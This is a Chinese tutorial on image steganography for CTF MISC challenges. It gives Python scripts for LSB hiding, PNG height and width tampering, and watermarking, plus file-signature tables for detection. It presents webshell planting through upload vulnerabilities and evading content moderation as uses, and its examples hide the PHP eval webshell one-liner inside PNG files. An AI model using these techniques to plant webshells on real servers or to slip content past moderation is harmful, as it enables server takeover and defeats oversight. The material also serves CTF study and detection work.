网络安全 MISC 之图片隐写技术详解:从原理到实战(含工具与脚本)

一、为什么有MISC?

在网络安全领域,除了框架漏洞、版本漏洞、代码逻辑漏洞等常见漏洞类型外,还存在隐写类关卡。这类技术通过特殊手段,将敏感/违规内容隐藏在图片、文本、压缩包、视频、音频等载体深处,规避常规检测,是CTF-MISC方向及实际攻击场景中的重要技术分支。

二、图片隐写技术详解

图片是隐写技术中最常用的载体(格式兼容性强、肉眼不易察觉异常),以下从「用途→具体技术→工具/脚本」展开讲解。

2.1 图片隐藏信息的核心用途

  1. 规避肉眼审查:多数平台设有人工审核机制,隐藏后的信息从图片表面无异常,可绕过人工检查。
  2. 规避敏感词过滤:直接传递文字易被平台敏感词系统拦截,通过图片隐写可将敏感内容“伪装”为普通图片。
  3. 网站挂马与漏洞利用:结合文件上传漏洞(如Apache/Nginx版本漏洞、Session竞争),将webshell等恶意代码隐写进图片,实现服务器控制。
  4. 维护公司形象, 入侵不仅仅包含主机渗透,还涉及文化渗透,譬如,制作幻影坦克图,而审核若不仔细审核,当用户点击时,会影响公司形象甚至带来用户流失

2.2 基础信息隐藏:二进制缝合与十六进制编辑

这类方法原理简单(直接附加数据),适合隐藏小体积内容(如短脚本、密钥),缺点是文件体积异常时易被察觉。

2.2.1 Windows copy 命令:二进制缝合

通过copy /B命令将两个文件的二进制数据拼接,目标文件保留原图片的可读性,同时包含附加文件的内容。

  • 核心原理/B参数指定“二进制模式”,直接读取源文件二进制数据并追加到目标文件,不修改原图片的像素结构。
  • 适用场景:隐藏webshell(如PHP脚本)、压缩包(ZIP/RAR)等。
实验步骤
  1. 准备文件
    • 正常图片:normal.png(示例为PNG格式,JPG/BMP均支持)
    • 待隐藏文件:shell.php(内容为webshell,如<?php eval($_POST['cmd']);?>
  2. 执行缝合命令
    1
    2
    # 格式:copy /B "原图片路径" + "待隐藏文件路径" "输出图片路径"
    copy /B "normal.png" + "shell.php" "hidden_shell.png"
  3. 验证结果
    • 生成的hidden_shell.png可正常打开(表面无异常);
    • 若隐藏的是压缩包(如test.zip),直接用解压工具打开hidden_shell.png即可提取压缩包内容。

2.2.2 WinHex:十六进制直接附加

通过十六进制编辑器直接修改图片的二进制数据,将待隐藏内容的十六进制编码追加到图片末尾,步骤如下:

  1. 用WinHex打开原图片(如normal.png);
  2. 打开待隐藏文件(如shell.php),复制其十六进制内容;
  3. 在WinHex的图片二进制末尾粘贴十六进制内容,保存为新文件(如hex_hidden.png);
  4. 验证:新图片可正常打开,用WinHex查看可发现末尾的附加数据。

2.3 LSB(最低有效位)算法隐写

LSB是最经典的图片隐写算法,通过修改像素的“最低有效位”存储信息,肉眼完全无法察觉颜色变化,隐蔽性远优于二进制缝合。

2.3.1 核心原理

数字图片的每个像素由RGB三通道组成(每个通道取值0-255,用8位二进制表示)。例如:

  • 红色通道值153的二进制为10011001,其中最右侧的1位(0/1) 即为“最低有效位(LSB)”。
  • 修改LSB仅会让通道值变化±1(如153→152或154),人眼无法分辨这种细微颜色差异,因此可利用LSB存储秘密信息的二进制位。

2.3.2 最大信息量计算

一张图片能隐藏的最大信息量由“像素数量×通道数”决定,公式如下:

计算维度 公式 说明
总二进制位数 图片宽度 × 图片高度 × 3(RGB三通道) 每个通道的LSB存储1位秘密数据
最大字节数 (宽×高×3)÷ 8 1字节=8位,需整除取整
最大ASCII字符数 (宽×高×3)÷ 8 每个ASCII字符占1字节

示例:1000×800分辨率的图片

  • 总像素数:1000×800 = 800,000
  • 总二进制位:800,000 × 3 = 2,400,000 位
  • 最大隐藏字节数:2,400,000 ÷ 8 = 300,000 字节(约293KB)
  • 可隐藏ASCII字符数:约300,000个(相当于300页纯文本)

注意:实际隐藏时需预留部分空间(如添加终止符\0),且信息量过大可能导致图片颜色轻微异常。

2.3.3 LSB隐写/解密脚本(Python)

基于PIL库实现LSB算法,支持将文本信息隐写进图片,或从隐写图片中提取信息。

完整脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from PIL import Image
import os
import sys

def text_to_binary(text):
"""将文本转换为8位二进制字符串(含终止符\0)"""
if not text:
return ""
# 每个字符转8位二进制,不足补0
return ''.join([format(ord(c), '08b') for c in text]) + '00000000' # 终止符:8个0

def binary_to_text(binary):
"""将二进制字符串转回文本(遇到终止符停止)"""
text = ""
# 每8位解析一个字符
for i in range(0, len(binary), 8):
byte = binary[i:i+8]
if byte == '00000000': # 识别终止符,结束解析
break
text += chr(int(byte, 2))
return text

def lsb_encode(image_path, output_path, secret_text):
"""LSB加密:将秘密文本隐藏进图片"""
try:
# 打开图片并转为RGB模式(确保三通道可用)
img = Image.open(image_path)
if img.mode != 'RGB':
img = img.convert('RGB')
width, height = img.size
pixels = img.load() # 加载像素数组

# 文本转二进制
binary_secret = text_to_binary(secret_text)
secret_len = len(binary_secret)
max_capacity = width * height * 3 # 最大可存储二进制位数

# 检查信息量是否超出容量
if secret_len > max_capacity:
raise ValueError(f"信息超出图片容量!最大支持{max_capacity//8}字节,当前{secret_len//8}字节")

# 遍历像素,修改LSB
secret_idx = 0 # 秘密数据的当前索引
for x in range(width):
for y in range(height):
r, g, b = pixels[x, y]

# 依次修改R、G、B通道的LSB
if secret_idx < secret_len:
# 用 (通道值 & 0xFE) 清空LSB,再 | 秘密数据位(0/1)
r = (r & 0xFE) | int(binary_secret[secret_idx])
secret_idx += 1
if secret_idx < secret_len:
g = (g & 0xFE) | int(binary_secret[secret_idx])
secret_idx += 1
if secret_idx < secret_len:
b = (b & 0xFE) | int(binary_secret[secret_idx])
secret_idx += 1

# 更新像素
pixels[x, y] = (r, g, b)

# 信息写入完成,提前退出
if secret_idx >= secret_len:
img.save(output_path)
img.close()
return True

# 遍历结束后保存(适用于信息填满所有LSB的情况)
img.save(output_path)
img.close()
return True

except Exception as e:
print(f"加密失败:{str(e)}")
return False

def lsb_decode(image_path):
"""LSB解密:从图片中提取秘密文本"""
try:
img = Image.open(image_path)
if img.mode != 'RGB':
img = img.convert('RGB')
width, height = img.size
pixels = img.load()

binary_secret = "" # 存储提取的二进制数据

# 遍历像素,提取R、G、B通道的LSB
for x in range(width):
for y in range(height):
r, g, b = pixels[x, y]
binary_secret += str(r & 1) # 提取R通道LSB(与1运算保留最低位)
binary_secret += str(g & 1) # 提取G通道LSB
binary_secret += str(b & 1) # 提取B通道LSB

# 遇到终止符(8个0),停止提取
if len(binary_secret) >= 8 and binary_secret[-8:] == '00000000':
img.close()
return binary_to_text(binary_secret)

# 无终止符时直接解析(适用于未写终止符的场景)
img.close()
return binary_to_text(binary_secret)

except Exception as e:
print(f"解密失败:{str(e)}")
return ""

if __name__ == "__main__":
# 命令行参数说明
if len(sys.argv) not in [3, 5]:
print("用法:")
print(" 加密:python lsb_steganography.py encode <原图片路径> <输出图片路径> <秘密文本>")
print(" 解密:python lsb_steganography.py decode <隐写图片路径>")
print(" 示例:python lsb_steganography.py encode normal.png hidden.png '<?php eval($_POST[cmd]);?>'")
sys.exit(1)

# 执行加密/解密
if sys.argv[1] == 'encode':
if lsb_encode(sys.argv[2], sys.argv[3], sys.argv[4]):
print(f"加密成功!输出文件:{sys.argv[3]}")
elif sys.argv[1] == 'decode':
secret = lsb_decode(sys.argv[2])
print(f"提取的秘密信息:{secret}")
else:
print("无效操作!请使用 'encode' 或 'decode'")
sys.exit(1)
脚本使用示例
  1. 加密(隐藏webshell)

    1
    python lsb_steganography.py encode normal.png hidden.png '<?php eval($_POST["cmd"]);?>'

    输出:加密成功!输出文件:hidden.pnghidden.png可正常打开,无肉眼异常)

  2. 解密(提取webshell)

    1
    python lsb_steganography.py decode hidden.png

    输出:提取的秘密信息:<?php eval($_POST["cmd"]);?>

2.3.4 LSB隐写的识别工具

LSB修改的是像素细微差异,需专用工具检测:

  • Stegsolve:CTF常用工具,通过“Channel Viewer”切换RGB通道,查看LSB层的异常数据。
  • zsteg:命令行工具(支持PNG/BMP),自动检测LSB隐写数据,命令示例:
    1
    zsteg -a hidden.png  # -a 参数:检测所有可能的隐写模式

2.4 基于图片结构的隐写:修改宽高隐藏内容

这类技术利用图片格式的“结构字段”(如PNG的IHDR块),修改图片的显示宽高,使部分像素(含隐藏信息)不被显示,从而规避检测。

2.4.1 PNG图片的关键结构:IHDR块

PNG图片的第一个数据块是IHDR块(图像头块),包含图片的核心元信息,且一张PNG仅有一个IHDR块。其结构如下:

字段 长度(字节) 说明
宽度 4 图片像素宽度(十六进制存储)
高度 4 图片像素高度(十六进制存储)
图像深度 1 每个通道的位数(如8位:0-255)
颜色类型 1 如RGB(2)、灰度(0)
压缩方法 1 固定为0(DEFLATE压缩)
过滤方法 1 固定为0(自适应过滤)
交错方法 1 0(无交错)/1(亚当7交错)
CRC校验值 4 验证IHDR块数据完整性(修改宽高后需重新计算)

2.4.2 隐写原理

  1. 原始图片:假设图片实际宽高为1842×987(十六进制00 00 07 32 × 00 00 03 DB),所有像素均包含信息。
  2. 修改显示宽高:将宽度改为1080(十六进制00 00 04 38),图片仅显示1080×987的区域,右侧1842-1080=762像素的内容被隐藏。
  3. CRC校验修复:修改宽高后IHDR块的CRC值失效,需重新计算并更新,否则图片会显示“损坏”。

2.4.3 宽高修改脚本(含CRC校验)

以下Python脚本可修改PNG宽高并自动修复CRC校验,避免图片损坏。

完整脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
import struct
import zlib
import os
import sys
from io import BytesIO
from PIL import Image, UnidentifiedImageError

def parse_png_chunks(data):
"""解析PNG文件的所有块(返回:[(块类型, 块数据, CRC值)])"""
chunks = []
ptr = 8 # 跳过PNG文件头(8字节:\x89PNG\r\n\x1a\n)
while ptr < len(data):
# 1. 读取块长度(4字节,大端序)
if ptr + 4 > len(data):
break
length = struct.unpack(">I", data[ptr:ptr+4])[0]
ptr += 4

# 2. 读取块类型(4字节,如IHDR、IDAT)
if ptr + 4 > len(data):
break
chunk_type = data[ptr:ptr+4]
ptr += 4

# 3. 读取块数据(长度为上述length)
if ptr + length > len(data):
break
chunk_data = data[ptr:ptr+length]
ptr += length

# 4. 读取CRC校验值(4字节)
if ptr + 4 > len(data):
break
crc = data[ptr:ptr+4]
ptr += 4

chunks.append((chunk_type, chunk_data, crc))
return chunks

def create_png_chunk(chunk_type, data):
"""创建PNG块(自动计算CRC),返回完整块的二进制数据"""
chunk_body = chunk_type + data # 块类型 + 块数据
crc = zlib.crc32(chunk_body) & 0xFFFFFFFF # 计算CRC(32位无符号)
return struct.pack(">I", len(data)) + chunk_body + struct.pack(">I", crc)

def modify_png_size(input_path, new_width, new_height, output_path=None):
"""修改PNG图片宽高并修复CRC,返回操作结果(True/False)"""
# 1. 检查输入文件
if not os.path.exists(input_path):
raise FileNotFoundError(f"输入文件不存在:{input_path}")
# 2. 处理输出路径(默认覆盖原文件,用临时文件避免损坏)
if output_path is None:
output_path = input_path
temp_path = f"{input_path}.tmp"
else:
output_dir = os.path.dirname(output_path)
if output_dir and not os.path.exists(output_dir):
os.makedirs(output_dir, exist_ok=True)
temp_path = f"{output_path}.tmp"

try:
# 3. 读取原始PNG数据
with open(input_path, "rb") as f:
original_data = f.read()
# 验证PNG文件头
if original_data[:8] != b'\x89PNG\r\n\x1a\n':
raise ValueError("无效的PNG文件(文件头不匹配)")

# 4. 解析原始PNG块,获取IHDR块信息
original_chunks = parse_png_chunks(original_data)
if not original_chunks or original_chunks[0][0] != b"IHDR":
raise ValueError("PNG文件缺少IHDR块(损坏)")

# 5. 生成新的IHDR块(修改宽高 + 重新计算CRC)
old_ihdr_data = original_chunks[0][1]
# 替换IHDR中的宽高字段(前8字节:4字节宽 + 4字节高)
new_ihdr_data = struct.pack(">II", new_width, new_height) + old_ihdr_data[8:]
new_ihdr_chunk = create_png_chunk(b"IHDR", new_ihdr_data)

# 6. 重写PNG文件(保留原块结构,仅替换IHDR)
with open(temp_path, "wb") as f:
# 写入PNG文件头
f.write(b'\x89PNG\r\n\x1a\n')
# 写入新的IHDR块
f.write(new_ihdr_chunk)
# 写入其他块(跳过原始IHDR)
for chunk_type, chunk_data, crc in original_chunks[1:]:
f.write(struct.pack(">I", len(chunk_data)))
f.write(chunk_type)
f.write(chunk_data)
f.write(crc)

# 7. 验证新图片是否正常(用PIL打开测试)
with Image.open(temp_path) as img:
img.verify() # 验证图片完整性
if img.size != (new_width, new_height):
raise ValueError(f"宽高修改失败,实际尺寸:{img.size}")

# 8. 替换输出文件(覆盖原文件或保存到指定路径)
if os.path.exists(output_path):
os.remove(output_path)
os.rename(temp_path, output_path)

print(f"宽高修改成功!新尺寸:{new_width}×{new_height},输出文件:{output_path}")
return True

except Exception as e:
print(f"操作失败:{str(e)}")
# 清理临时文件
if os.path.exists(temp_path):
os.remove(temp_path)
return False

if __name__ == "__main__":
# 命令行参数解析
if len(sys.argv) < 4:
print("用法:python png_resize_crc.py <输入PNG路径> <新宽度> <新高度> [输出路径]")
print("示例1(覆盖原文件):python png_resize_crc.py normal.png 1080 987")
print("示例2(指定输出路径):python png_resize_crc.py normal.png 1080 987 modified.png")
sys.exit(1)

# 解析参数
input_file = sys.argv[1]
try:
new_width = int(sys.argv[2])
new_height = int(sys.argv[3])
except ValueError:
print("错误:宽度/高度必须为整数")
sys.exit(1)
output_file = sys.argv[4] if len(sys.argv) > 4 else None

# 执行修改
result = modify_png_size(
input_path=input_file,
new_width=new_width,
new_height=new_height,
output_path=output_file
)
sys.exit(0 if result else 1)
脚本使用注意事项
  • 宽高限制:新宽高必须小于等于原始宽高(否则隐藏的内容会被填充为空白)。
  • 格式支持:仅支持PNG(JPG无IHDR块,宽高修改逻辑不同)。
  • 验证结果:修改后用图片查看器打开,确认无“损坏”提示,且显示区域缩小。

2.5 数字水印隐写

数字水印是隐写的衍生技术,分为“隐式水印”(不可见,如LSB)和“显式水印”(可见,如版权标识),核心用于版权保护。

2.5.1 数字水印技术分类

分类 原理 优点 缺点 适用场景
空域水印 直接修改载体原始数据(如LSB、像素叠加) 实现简单、实时性强 鲁棒性差(易被压缩/裁剪破坏) 短信息隐藏、临时版权标识
频域水印 经傅里叶变换(DFT)/离散余弦变换(DCT)转换到频域,修改频域系数 鲁棒性强(抵抗压缩/裁剪) 实现复杂、依赖数学算法 长期版权保护(如图片/视频版权)

2.5.2 显式水印生成脚本

显式水印(如“版权所有”“禁止转载”)是最常用的版权保护手段,以下脚本支持在图片指定位置叠加文字水印(含透明度调整)。

完整脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import argparse
from PIL import Image, ImageDraw, ImageFont
import os

def add_visible_watermark(
carrier_path,
watermark_text,
output_path,
position="bottom-right", # 水印位置:top-left/top-right/bottom-left/bottom-right/tile(全屏平铺)
font_size=30,
color=(255, 255, 255, 128), # RGBA:前3位颜色,最后1位透明度(0=完全透明,255=不透明)
font_path=None # 字体文件路径(支持TTF格式,解决中文乱码)
):
"""给图片添加可见水印"""
try:
# 1. 打开载体图片并转为RGBA模式(支持透明度)
with Image.open(carrier_path).convert("RGBA") as base_img:
# 创建空白水印图层(与载体图片同尺寸,全透明)
watermark_layer = Image.new("RGBA", base_img.size, (255, 255, 255, 0))
draw = ImageDraw.Draw(watermark_layer) # 创建绘图对象

# 2. 加载字体(优先使用指定字体,无则用默认)
try:
if font_path and os.path.exists(font_path):
font = ImageFont.truetype(font_path, font_size)
else:
font = ImageFont.load_default()
print("未指定有效字体路径,使用默认字体(可能不支持中文)")
except Exception as e:
print(f"字体加载失败,使用默认字体:{str(e)}")
font = ImageFont.load_default()

# 3. 计算水印文字尺寸(宽/高)
bbox = draw.textbbox((0, 0), watermark_text, font=font) # 获取文字边界框
text_width = bbox[2] - bbox[0] # 文字宽度
text_height = bbox[3] - bbox[1] # 文字高度
img_width, img_height = base_img.size # 载体图片尺寸
padding = 20 # 水印与图片边缘的间距

# 4. 确定水印位置
if position == "top-left":
x, y = padding, padding
elif position == "top-right":
x, y = img_width - text_width - padding, padding
elif position == "bottom-left":
x, y = padding, img_height - text_height - padding
elif position == "bottom-right":
x, y = img_width - text_width - padding, img_height - text_height - padding
elif position == "tile":
# 全屏平铺:按文字尺寸+间距重复绘制
for y in range(padding, img_height, text_height + padding):
for x in range(padding, img_width, text_width + padding):
draw.text((x, y), watermark_text, font=font, fill=color)
else:
raise ValueError(f"不支持的位置:{position},可选值:top-left/top-right/bottom-left/bottom-right/tile")

# 5. 非平铺模式:绘制单个水印
if position != "tile":
draw.text((x, y), watermark_text, font=font, fill=color)

# 6. 合并图层并保存
combined_img = Image.alpha_composite(base_img, watermark_layer)
# 若输出为JPG(不支持透明),转为RGB模式
if output_path.lower().endswith(('.jpg', '.jpeg')):
combined_img = combined_img.convert("RGB")
combined_img.save(output_path)
print(f"水印添加成功!输出文件:{output_path}")

except Exception as e:
print(f"添加水印失败:{str(e)}")
exit(1)

if __name__ == "__main__":
# 命令行参数解析
parser = argparse.ArgumentParser(description="图片可见水印生成工具")
parser.add_argument('--carrier', required=True, help="载体图片路径(如:normal.png)")
parser.add_argument('--text', required=True, help="水印文字(如:'版权所有 © 2025')")
parser.add_argument('--output', required=True, help="输出图片路径(如:watermarked.png)")
parser.add_argument('--position', default="bottom-right", help="水印位置(默认:bottom-right)")
parser.add_argument('--font-size', type=int, default=30, help="字体大小(默认:30)")
parser.add_argument('--color', default="255,255,255,128", help="RGBA颜色(如'255,0,0,80',默认白色半透明)")
parser.add_argument('--font-path', help="字体文件路径(如:C:/Windows/Fonts/simhei.ttf,解决中文乱码)")

args = parser.parse_args()

# 解析颜色参数(转为RGBA元组)
try:
color = tuple(map(int, args.color.split(',')))
if len(color) != 4 or any(c < 0 or c > 255 for c in color):
raise ValueError("颜色需为4个0-255的整数(格式:R,G,B,A)")
except Exception as e:
print(f"颜色参数错误:{e}")
exit(1)

# 执行水印添加
add_visible_watermark(
carrier_path=args.carrier,
watermark_text=args.text,
output_path=args.output,
position=args.position,
font_size=args.font_size,
color=color,
font_path=args.font_path
)
脚本使用示例(中文水印)
1
2
3
4
5
6
7
8
9
# 示例:在图片右下角添加红色半透明中文水印(需指定中文字体路径)
python visible_watermark.py \
--carrier normal.png \
--text "CTF-MISC 隐写示例 © 2025" \
--output watermarked.png \
--position bottom-right \
--font-size 24 \
--color "255,0,0,100" \
--font-path "C:/Windows/Fonts/simhei.ttf" # Windows系统黑体字体路径

三、常用文件头/尾信息表(隐写检测辅助)

隐写图片常被修改文件格式(如改后缀为PNG的JPG),通过文件头/尾可快速识别真实格式,辅助隐写检测。

文件类别 文件格式 文件头信息(十六进制) 文件尾信息(十六进制)
图片 JPEG FF D8 FF FF D9
图片 PNG 89 50 4E 47 0D 0A 1A 0A AE 42 60 82
图片 GIF 47 49 46 38 39 61 / 47 49 46 38 37 61 00 3B
图片 BMP 42 4D(”BM”)
压缩包 ZIP 50 4B 03 04 50 4B
压缩包 RAR 52 61 72 21(”Rar!”)
音频 WAV 57 41 56 45(”WAVE”)
文档 PDF 25 50 44 46 2D 31 2E(”%PDF-1.”) 45 4F 46(”EOF”)
脚本 PHP 无(文本文件,可通过内容识别)

四、总结

图片隐写技术的核心是“隐蔽性”与“鲁棒性”的平衡:

  • 基础方法(二进制缝合、宽高修改)适合快速隐藏,需注意文件体积/CRC校验;
  • LSB算法隐蔽性强,是CTF及实战中的首选;
  • 数字水印侧重版权保护,频域水印适合长期抗破坏场景。

在实际防御中,需结合“文件体积检测+像素异常分析(如Stegsolve)+文件头校验”,才能有效识别隐写内容。